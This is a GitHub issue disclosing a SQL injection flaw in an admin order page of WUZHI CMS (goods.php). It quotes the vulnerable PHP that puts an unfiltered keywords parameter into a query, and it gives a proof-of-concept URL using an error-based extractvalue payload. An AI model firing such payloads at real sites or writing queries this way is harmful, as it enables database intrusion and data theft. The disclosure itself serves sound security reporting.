Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
coreframe/app/order/admin/goods.php
$keywords = isset($GLOBALS['keywords']) ? trim($GLOBALS['keywords']) : ''; $status_arr = $this->status_arr; $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1; $page = max($page,1); $where = ''; if($cardtype!=-1) { $where = "cardtype='$cardtype'"; } if($keywords) { if($keytype==0) { $where .= $where ? " AND order_no LIKE '$keywords%'" : "order_no LIKE '$keywords%'"; } elseif($keytype==1 && $keywords) { $r = $this->db->get_one('member', array('username' => $keywords)); if($r) { $uid = $r['uid']; $where .= $where ? " AND uid = '$uid'" : "uid = '$uid'"; } else { MSG('用户不存在',HTTP_REFERER); } } }
The $keywords parameter is taken directly into the execution without any filtering.
$keywords
/index.php?m=order&f=goods&v=listing&_su=wuzhicms&_menuid=220&search=&cardtype=-1&keytype=0&keywords='and+extractvalue(1,concat(0x7e,md5(123)))%23
The page shows the value of md5(123)
The text was updated successfully, but these errors were encountered:
No branches or pull requests
Vulnerability file
coreframe/app/order/admin/goods.phpThe
$keywordsparameter is taken directly into the execution without any filtering.POC
The page shows the value of md5(123)
The text was updated successfully, but these errors were encountered: